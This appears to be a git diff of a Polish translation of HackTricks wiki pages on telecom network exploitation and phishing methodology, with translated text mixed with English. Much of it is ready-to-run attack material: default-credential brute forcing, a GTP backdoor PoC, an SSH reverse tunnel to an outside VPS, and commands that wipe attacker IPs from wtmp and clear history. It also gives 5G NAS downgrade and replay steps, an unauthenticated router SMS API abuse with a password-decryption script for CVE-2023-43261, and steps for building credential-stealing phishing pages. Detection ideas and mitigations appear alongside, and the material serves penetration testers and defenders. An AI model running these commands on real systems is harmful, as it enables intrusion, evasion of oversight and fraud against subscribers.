mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/phishing-method
This commit is contained in:
parent
c973b26099
commit
5c1533de44
@ -1,27 +1,27 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
# Eksploatacja sieci telekomunikacyjnych (GTP / środowiska roamingowe)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) często przebiegają przez półzaufane backbone'y roamingowe GRX/IPX. Ponieważ korzystają ze zwykłego UDP z niemal żadną autoryzacją, **każde uzyskanie dostępu wewnątrz perymetru telekomunikacyjnego zazwyczaj pozwala bezpośrednio osiągnąć warstwy sygnalizacyjne rdzenia**. Poniższe notatki zbierają ofensywne sztuczki zaobserwowane w praktyce przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
|
||||
> Protokoły rdzenia mobilnego (GPRS Tunnelling Protocol – GTP) często przebiegają przez pół-zaufane GRX/IPX roaming backbones. Ponieważ korzystają z plain UDP z niemal żadnym uwierzytelnianiem, **każdy foothold wewnątrz perymetru operatora zwykle może bezpośrednio osiągnąć core signalling planes**. Poniższe notatki zbierają techniki ofensywne zaobserwowane w praktyce przeciw SGSN/GGSN, PGW/SGW i innym węzłom EPC.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Zadziwiająco wiele elementów sieciowych dostarczanych przez vendorów ma wbudowane konta SSH/Telnet, takie jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana wordlist dramatycznie zwiększa skuteczność brute-force:
|
||||
Zdziwiająco duża liczba elementów sieciowych dostawców jest dostarczana z wbudowanymi użytkownikami SSH/Telnet takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana lista haseł dramatycznie zwiększa skuteczność brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Jeśli urządzenie udostępnia tylko management VRF, najpierw wykonaj pivot przez jump host (zobacz sekcję «SGSN Emu Tunnel» poniżej).
|
||||
Jeśli urządzenie udostępnia tylko management VRF, najpierw przeprowadź pivot przez jump host (zobacz sekcję «SGSN Emu Tunnel» poniżej).
|
||||
|
||||
### 1.2 Odkrywanie hostów w GRX/IPX
|
||||
Większość operatorów GRX nadal zezwala na **ICMP echo** w całym backbone. Połącz `masscan` z wbudowanymi `gtpv1` UDP probes, aby szybko zmapować nasłuchujące GTP-C:
|
||||
### 1.2 Wykrywanie hostów w GRX/IPX
|
||||
Większość operatorów GRX wciąż zezwala na **ICMP echo** w sieci szkieletowej. Połącz `masscan` z wbudowanymi sondami UDP `gtpv1`, aby szybko zmapować nasłuchujące GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumeracja abonentów – `cordscan`
|
||||
|
||||
Następujące narzędzie w Go tworzy pakiety **GTP-C Create PDP Context Request** i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualne **SGSN / MME** obsługujące zapytane IMSI i czasami PLMN odwiedzany przez abonenta.
|
||||
Poniższe narzędzie napisane w Go generuje pakiety **GTP-C Create PDP Context Request** i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualne **SGSN / MME** obsługujące zapytane IMSI oraz, czasami, odwiedzane przez abonenta PLMN.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -34,7 +34,7 @@ Kluczowe flagi:
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Zapisz surowe pakiety do pcap
|
||||
|
||||
Ważne stałe wewnątrz binary mogą być patched, aby widen scans:
|
||||
Ważne stałe w pliku binarnym można zmodyfikować, aby poszerzyć zakres skanów:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` to niewielka usługa ELF, która **nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C**. Gdy payload zaczyna się od pre-shared tag, pozostała część jest odszyfrowywana (AES-128-CBC) i wykonywana przez `/bin/sh -c`. stdout/stderr są eksfiltrowane wewnątrz wiadomości **Echo Response**, dzięki czemu nigdy nie jest tworzona żadna sesja wychodząca.
|
||||
`GTPDoor` jest małą usługą ELF, która **nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C**. Gdy payload zaczyna się od pre-shared tag, pozostała część jest odszyfrowywana (AES-128-CBC) i wykonywana przez `/bin/sh -c`. stdout/stderr są exfiltrated w wiadomościach **Echo Response**, dzięki czemu nigdy nie jest tworzona zewnętrzna sesja.
|
||||
|
||||
Minimal PoC packet (Python):
|
||||
Minimalny pakiet PoC (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Wykrywanie:
|
||||
* dowolny host wysyłający **unbalanced Echo Requests** do adresów IP SGSN
|
||||
* flaga wersji GTP ustawiona na 1, gdy typ wiadomości = 1 (Echo) – odstępstwo od specyfikacji
|
||||
* dowolny host wysyłający **unbalanced Echo Requests** do SGSN IPs
|
||||
* flaga wersji GTP ustawiona na 1, gdy message type = 1 (Echo) – odchylenie od specyfikacji
|
||||
|
||||
## 4. Pivoting przez rdzeń
|
||||
## 4. Pivoting przez rdzeń sieci
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` dostarcza emulator SGSN zdolny do **establish a PDP context towards a real GGSN/PGW**. Po negocjacji Linux otrzymuje nowy interfejs `tun0`, dostępny ze strony roamingowego peer'a.
|
||||
`OsmoGGSN` dostarcza emulator SGSN zdolny **nawiązać PDP context do rzeczywistego GGSN/PGW**. Po negocjacji Linux otrzymuje nowy interfejs `tun0`, osiągalny z roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
|
||||
Przy odpowiednim firewall hair-pinningu, ten tunel omija VLAN-y przeznaczone tylko do sygnalizacji i ląduje bezpośrednio w **płaszczyźnie danych**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS jest prawie zawsze otwarty w środowiskach roamingowych. Wystaw wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i później połącz się z domu:
|
||||
DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Wystaw wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Sprawdź, czy `GatewayPorts yes` jest włączone na VPS.
|
||||
|
||||
## 5. Covert Channels
|
||||
## 5. Kanały ukryte
|
||||
|
||||
| Kanał | Transport | Dekodowanie | Uwagi |
|
||||
|-------|-----------|------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | czysto pasywny nasłuch, brak ruchu wychodzącego |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | nasłuchuje subdomeny `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | wtopiony w legalny ruch GTP-C |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | klucz 4-bajtowy + 14-bajtowe fragmenty (XOR) | czysty pasywny nasłuch, brak ruchu wychodzącego |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (klucz = `funnyAndHappy`) zakodowany w oktetach rekordu A | nasłuchuje subdomeny `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | miesza się z legalnym ruchem GTP-C |
|
||||
|
||||
Wszystkie implants implementują watchdogs, które **timestomp** ich binaries i re-spawnują się po awarii.
|
||||
Wszystkie implanty implementują watchdogi, które **timestomp** swoje binarki i ponownie je uruchamiają w razie awarii.
|
||||
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
## 6. Ściągawka — omijanie obrony
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -116,76 +116,76 @@ Wskazówka dotycząca sprzątania:
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Tool Box
|
||||
## 8. Zestaw narzędzi
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – niestandardowe narzędzia opisane w poprzednich sekcjach.
|
||||
* `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS fałszywy WPAD
|
||||
* `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : lekkie SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : przechodzenie NAT / łączenie zasobów
|
||||
|
||||
## 9. Ataki rejestracji 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
Procedura rejestracji 5G przebiega przez NAS (Non-Access Stratum) nad NGAP. Dopóki bezpieczeństwo NAS nie zostanie aktywowane przez Security Mode Command/Complete, początkowe wiadomości są nieautentykowane i nieszyfrowane. To okno przed włączeniem zabezpieczeń umożliwia wiele ścieżek ataku, jeśli można obserwować lub modyfikować ruch N2 (np. on-path wewnątrz core, rogue gNB lub testbed).
|
||||
Procedura rejestracji 5G przebiega po NAS (Non-Access Stratum) na NGAP. Dopóki bezpieczeństwo NAS nie jest aktywowane przez Security Mode Command/Complete, początkowe wiadomości są niezautoryzowane i niezaszyfrowane. To okno przed aktywacją zabezpieczeń umożliwia wiele wektorów ataku, jeśli można obserwować lub modyfikować ruch N2 (np. on-path inside the core, rogue gNB, lub testbed).
|
||||
|
||||
Przebieg rejestracji (uproszczony):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE wysyła SUCI (zaszyfrowany SUPI) i możliwości (capabilities).
|
||||
- Authentication: AMF/AUSF wysyłają RAND/AUTN; UE zwraca RES*.
|
||||
- Security Mode Command/Complete: integralność NAS i szyfrowanie są negocjowane i aktywowane.
|
||||
- PDU Session Establishment: konfiguracja IP/QoS.
|
||||
|
||||
Wskazówki dotyczące konfiguracji laboratorium (non-RF):
|
||||
- Core: Open5GS default deployment is sufficient to reproduce flows.
|
||||
- UE: simulator or test UE; decode using Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Przydatne filtry wyświetlania w Wireshark:
|
||||
Lab setup tips (non-RF):
|
||||
- Core: domyślna instalacja Open5GS wystarcza do odtworzenia przepływów.
|
||||
- UE: simulator lub testowe UE; dekoduj przy pomocy Wireshark.
|
||||
- Active tooling: 5GReplay (przechwytuj/modyfikuj/odtwarzaj NAS w NGAP), Sni5Gect (podsłuchuj/patchuj/wstrzykuj NAS w locie bez uruchamiania pełnego rogue gNB).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Oczekiwane: UE/USIM musi przesyłać SUCI (SUPI zaszyfrowany kluczem publicznym operatora macierzystego). Znalezienie jawnego SUPI/IMSI w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie abonenta.
|
||||
Expected: UE/USIM musi wysyłać SUCI (SUPI zaszyfrowany kluczem publicznym sieci macierzystej). Znalezienie SUPI/IMSI w postaci plaintext w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie subskrybenta.
|
||||
|
||||
Jak testować:
|
||||
How to test:
|
||||
- Przechwyć pierwszą wiadomość NAS w InitialUEMessage i sprawdź Mobile Identity IE.
|
||||
- Szybkie kontrole w Wireshark:
|
||||
- Powinno dekodować się jako SUCI, nie IMSI.
|
||||
- Przykładowe filtry: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` powinien istnieć; brak wraz z obecnością `imsi` wskazuje na ujawnienie.
|
||||
- Wireshark quick checks:
|
||||
- Powinno zostać zdekodowane jako SUCI, nie IMSI.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` powinien występować; brak wraz z obecnością `imsi` wskazuje na leakage.
|
||||
|
||||
Co zebrać:
|
||||
- MCC/MNC/MSIN, jeśli ujawnione; loguj per-UE i śledź w czasie/lokalizacjach.
|
||||
What to collect:
|
||||
- MCC/MNC/MSIN jeśli ujawnione; loguj dla każdego UE i śledź w czasie/miejscach.
|
||||
|
||||
Środki zaradcze:
|
||||
- Wymuszaj SUCI-only dla UE/USIM; alarmuj przy pojawieniu się jakiegokolwiek IMSI/SUPI w initial NAS.
|
||||
Mitigation:
|
||||
- Wymuszaj UEs/USIMs wysyłające tylko SUCI; generuj alert dla każdego IMSI/SUPI w initial NAS.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Tło:
|
||||
- UE reklamuje obsługiwane EEA (encryption) i EIA (integrity) w polu UE Security Capability IE Registration Request.
|
||||
Background:
|
||||
- UE reklamuje obsługiwane EEA (encryption) i EIA (integrity) w UE Security Capability IE w Registration Request.
|
||||
- Typowe mapowania: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 to algorytmy null.
|
||||
|
||||
Problem:
|
||||
- Ponieważ Registration Request nie jest chroniony integralnością, on-path atakujący może wyczyścić bity capability, by wymusić wybór EEA0/EIA0 później podczas Security Mode Command. Niektóre stosy błędnie zezwalają na algorytmy null poza usługami awaryjnymi.
|
||||
Issue:
|
||||
- Ponieważ Registration Request nie jest chroniony integralnością, atakujący on-path może wyczyścić bity capability, aby wymusić wybór EEA0/EIA0 później podczas Security Mode Command. Niektóre stacks błędnie pozwalają na algorytmy null poza usługami awaryjnymi.
|
||||
|
||||
Kroki ofensywne:
|
||||
- Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability, aby reklamował tylko EEA0/EIA0.
|
||||
- Za pomocą Sni5Gect zahacz wiadomość NAS i patchnij bity capability przed przekazaniem.
|
||||
Offensive steps:
|
||||
- Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability, aby reklamować tylko EEA0/EIA0.
|
||||
- Z użyciem Sni5Gect, hookuj wiadomość NAS i patchuj bity capability przed jej przekazaniem.
|
||||
- Obserwuj, czy AMF zaakceptuje null ciphers/integrity i zakończy Security Mode z EEA0/EIA0.
|
||||
|
||||
Weryfikacja/widoczność:
|
||||
Verification/visibility:
|
||||
- W Wireshark potwierdź wybrane algorytmy po Security Mode Command/Complete.
|
||||
- Przykładowe wyjście pasywnego sniffera:
|
||||
- Przykładowy output pasywnego sniffera:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Środki zaradcze (wymagane):
|
||||
- Skonfiguruj AMF/policy tak, aby odrzucał EEA0/EIA0, z wyjątkiem sytuacji ściśle wymaganych (np. połączenia alarmowe).
|
||||
- Preferuj wymuszanie co najmniej EEA2/EIA2; loguj i generuj alarm przy każdym kontekście bezpieczeństwa NAS, który negocjuje algorytmy null.
|
||||
Środki zaradcze (konieczne):
|
||||
- Skonfiguruj AMF/policy tak, aby odrzucał EEA0/EIA0, chyba że jest to ściśle wymagane (np. połączenia alarmowe).
|
||||
- Preferuj wymuszanie co najmniej EEA2/EIA2; rejestruj i generuj alarm przy każdym NAS security context, który negocjuje algorytmy 'null'.
|
||||
|
||||
### 9.3 Replay początkowego Registration Request (przed zabezpieczeniem NAS)
|
||||
Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request może zostać replayed do AMF.
|
||||
### 9.3 Powtórzenie początkowego Registration Request (pre-security NAS)
|
||||
Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request można odtworzyć do AMF.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
Reguła PoC dla 5GReplay do przekazywania pasujących replayów:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
@ -211,28 +211,87 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
Na co zwrócić uwagę:
|
||||
- Czy AMF akceptuje replay i przechodzi do Authentication; brak walidacji świeżości/kontekstu wskazuje na narażenie.
|
||||
|
||||
Środki zaradcze:
|
||||
- Wymusić ochronę przed replay i powiązanie kontekstu w AMF; ograniczać ruch i korelować per-GNB/UE.
|
||||
Mitigations:
|
||||
- Wymuś ochronę przed replay i powiązanie kontekstu w AMF; ograniczaj szybkość żądań (rate-limit) i koreluj dla każdego gNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: uruchom AMF/SMF/UPF, aby emulować core; obserwuj N2 (NGAP) i NAS.
|
||||
- Wireshark: zweryfikuj dekodowania NGAP/NAS; zastosuj powyższe filtry, aby wyizolować Registration.
|
||||
- 5GReplay: przechwyć Registration, następnie replayuj konkretne komunikaty NGAP + NAS zgodnie z regułą.
|
||||
- Sni5Gect: na żywo podsłuchuj/modyfikuj/wstrzykuj wiadomości na control-plane NAS, aby wymusić null algorithms lub zaburzyć sekwencje Authentication.
|
||||
- Open5GS: uruchom AMF/SMF/UPF, aby zasymulować core; obserwuj N2 (NGAP) i NAS.
|
||||
- Wireshark: weryfikuj dekodowania NGAP/NAS; zastosuj powyższe filtry, aby wyizolować Registration.
|
||||
- 5GReplay: przechwyć Registration, następnie odtwórz (replay) konkretne wiadomości NGAP + NAS zgodnie z regułą.
|
||||
- Sni5Gect: na żywo sniff/modify/inject NAS control-plane, aby wymusić null algorithms lub zaburzyć sekwencje Authentication.
|
||||
|
||||
### 9.5 Lista kontrolna obrony
|
||||
- Ciągle monitorować Registration Request pod kątem jawnego SUPI/IMSI; blokować urządzenia/USIMs naruszające zasady.
|
||||
- Odrzucać EEA0/EIA0 z wyjątkiem ściśle zdefiniowanych procedur awaryjnych; wymagać przynajmniej EEA2/EIA2.
|
||||
- Wykrywać nieautoryzowaną lub źle skonfigurowaną infrastrukturę: nieautoryzowane gNB/AMF, nieoczekiwani N2 peers.
|
||||
- Generować alerty dla trybów bezpieczeństwa NAS, które skutkują null algorithms lub częstymi replayami InitialUEMessage.
|
||||
### 9.5 Defensive checklist
|
||||
- Nieustannie sprawdzaj Registration Request pod kątem plaintext SUPI/IMSI; blokuj urządzenia/USIMy, które to ujawniają.
|
||||
- Odrzucaj EEA0/EIA0 z wyjątkiem ściśle zdefiniowanych procedur awaryjnych; wymagaj co najmniej EEA2/EIA2.
|
||||
- Wykrywaj nieautoryzowaną lub błędnie skonfigurowaną infrastrukturę: nieautoryzowane gNB/AMF, nieoczekiwani N2 peerzy.
|
||||
- Generuj alerty dla trybów zabezpieczeń NAS, które skutkują null algorithms lub częstymi replayami InitialUEMessage.
|
||||
|
||||
---
|
||||
## Pomysły na detekcję
|
||||
1. **Dowolne urządzenie inne niż SGSN/GGSN ustanawiające Create PDP Context Requests**.
|
||||
2. **Nietypowe porty (53, 80, 443) otrzymujące SSH handshakes** z wewnętrznych IP.
|
||||
3. **Częste Echo Requests bez odpowiadających Echo Responses** – może wskazywać na GTPDoor beacony.
|
||||
4. **Wysokie tempo ruchu ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence**.
|
||||
5. 5G: **InitialUEMessage zawierający NAS Registration Requests powtarzane z identycznych endpoints** (sygnał replay).
|
||||
|
||||
## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
|
||||
|
||||
Nadużycie ujawnionych web API przemysłowych routerów komórkowych umożliwia przeprowadzenie ukrytego, pochodzącego od operatora smishingu na dużą skalę. Routery serii Milesight UR wystawiają endpoint w stylu JSON-RPC pod ścieżką `/cgi`. Przy błędnej konfiguracji API może być zapytane bez uwierzytelnienia, aby wymienić inbox/outbox SMS-ów, a w niektórych wdrożeniach także wysyłać SMS-y.
|
||||
|
||||
Typowe żądania bez uwierzytelnienia (taka sama struktura dla inbox/outbox):
|
||||
```http
|
||||
POST /cgi HTTP/1.1
|
||||
Host: <router>
|
||||
Content-Type: application/json
|
||||
|
||||
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
|
||||
```
|
||||
|
||||
```json
|
||||
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
|
||||
```
|
||||
Odpowiedzi zawierają pola takie jak `timestamp`, `content`, `phone_number` (E.164) oraz `status` (`success` lub `failed`). Powtarzające się wysyłki oznaczone jako `failed` do tego samego numeru to często tzw. „capability checks” przeprowadzane przez atakującego w celu weryfikacji, czy router/SIM potrafi dostarczyć wiadomości przed masowym wysyłaniem.
|
||||
|
||||
Przykład polecenia curl do exfiltrate metadanych SMS:
|
||||
```bash
|
||||
curl -sk -X POST http://<router>/cgi \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
|
||||
```
|
||||
Notatki dotyczące auth artefaktów:
|
||||
- Niektóry ruch może zawierać auth cookie, ale duża część wystawionych urządzeń odpowiada bez żadnego auth na `query_inbox`/`query_outbox`, gdy interfejs zarządzania jest dostępny z Internetu.
|
||||
- W środowiskach wymagających auth, previously-leaked credentials (see below) przywracają dostęp.
|
||||
|
||||
Credential recovery path – CVE-2023-43261:
|
||||
- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
|
||||
- Issue: web-served logs (e.g., `httpd.log`) są dostępne bez uwierzytelnienia pod `/lang/log/` i zawierają zdarzenia logowania admina z hasłem zaszyfrowanym przy użyciu hardcoded AES key/IV obecnego w client-side JavaScript.
|
||||
- Practical access and decrypt:
|
||||
```bash
|
||||
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
|
||||
# Look for entries like: {"username":"admin","password":"<base64>"}
|
||||
```
|
||||
Minimalny skrypt Python do odszyfrowania leaked passwords (AES-128-CBC, hardcoded key/IV):
|
||||
```python
|
||||
import base64
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
KEY=b'1111111111111111'; IV=b'2222222222222222'
|
||||
enc_b64='...' # value from httpd.log
|
||||
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
|
||||
```
|
||||
Pomysły na hunting i wykrywanie (sieć):
|
||||
- Alertuj przy nieuwierzytelnionym `POST /cgi`, którego JSON body zawiera `base`/`function` ustawione na `query_inbox` lub `query_outbox`.
|
||||
- Śledź powtarzające się serie `POST /cgi` zakończone wpisami `status":"failed"` dotyczące wielu unikalnych numerów z tego samego adresu IP źródłowego (capability testing).
|
||||
- Sporządź inwentaryzację Internet-exposed Milesight routerów; ogranicz zarządzanie do VPN; wyłącz funkcje SMS chyba że wymagane; zaktualizuj do ≥ v35.3.0.7; rotuj poświadczenia i przejrzyj SMS logs pod kątem nieznanych wysyłek.
|
||||
|
||||
Shodan/OSINT pivots (przykłady zaobserwowane w sieci):
|
||||
- `http.html:"rt_title"` matches Milesight router panels.
|
||||
- Google dorking for exposed logs: `"/lang/log/system" ext:log`.
|
||||
|
||||
Wpływ operacyjny: użycie legalnych SIM operatorów w routerach zapewnia bardzo wysoką dostarczalność/wiarygodność SMS-ów w phishingu, podczas gdy ekspozycja inbox/outbox leaks ujawnia wrażliwe metadane na dużą skalę.
|
||||
|
||||
---
|
||||
|
||||
## Pomysły na wykrywanie
|
||||
1. **Każde urządzenie inne niż SGSN/GGSN inicjujące Create PDP Context Requests**.
|
||||
2. **Porty niestandardowe (53, 80, 443) odbierające SSH handshakes** z adresów IP wewnętrznych.
|
||||
3. **Częste Echo Requests bez odpowiadających Echo Responses** – może wskazywać na GTPDoor beacons.
|
||||
4. **Wysoki ruch ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence**.
|
||||
5. 5G: **InitialUEMessage zawierający NAS Registration Requests powtarzane z identycznych punktów końcowych** (sygnał replay).
|
||||
6. 5G: **NAS Security Mode negocjujący EEA0/EIA0** poza kontekstami awaryjnymi.
|
||||
|
||||
## References
|
||||
@ -243,5 +302,8 @@ Na co zwrócić uwagę:
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||
- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
|
||||
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,43 +1,43 @@
|
||||
# Phishing Metodologia
|
||||
# Phishing Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Recon the victim
|
||||
1. Rozpoznanie ofiary
|
||||
1. Select the **victim domain**.
|
||||
2. Perform some basic web enumeration **searching for login portals** used by the victim and **decide** which one you will **impersonate**.
|
||||
3. Use some **OSINT** to **find emails**.
|
||||
2. Prepare the environment
|
||||
1. **Buy the domain** you are going to use for the phishing assessment
|
||||
2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
|
||||
3. Configure the VPS with **gophish**
|
||||
3. Prepare the campaign
|
||||
1. Prepare the **email template**
|
||||
2. Prepare the **web page** to steal the credentials
|
||||
4. Launch the campaign!
|
||||
2. Wykonaj podstawową enumerację webową **wyszukując portale logowania** używane przez ofiarę i **zdecyduj**, który z nich będziesz **podszywać się**.
|
||||
3. Użyj trochę **OSINT**, aby **znaleźć adresy email**.
|
||||
2. Przygotuj środowisko
|
||||
1. **Kup domenę**, której użyjesz do oceny phishingowej
|
||||
2. **Skonfiguruj rekordy** związane z usługą email (SPF, DMARC, DKIM, rDNS)
|
||||
3. Skonfiguruj **VPS** z **gophish**
|
||||
3. Przygotuj kampanię
|
||||
1. Przygotuj **szablon email**
|
||||
2. Przygotuj **stronę webową**, aby wyłudzić poświadczenia
|
||||
4. Uruchom kampanię!
|
||||
|
||||
## Generate similar domain names or buy a trusted domain
|
||||
|
||||
### Domain Name Variation Techniques
|
||||
|
||||
- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
|
||||
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
|
||||
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
|
||||
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
|
||||
- **Keyword**: Nazwa domeny **zawiera** ważne **słowo kluczowe** oryginalnej domeny (np. zelster.com-management.com).
|
||||
- **hypened subdomain**: Zmień **kropkę na myślnik** w subdomenie (np. www-zelster.com).
|
||||
- **New TLD**: Ta sama domena z **innym TLD** (np. zelster.org)
|
||||
- **Homoglyph**: Zastępuje literę w nazwie domeny literami, które **wyglądają podobnie** (np. zelfser.com).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
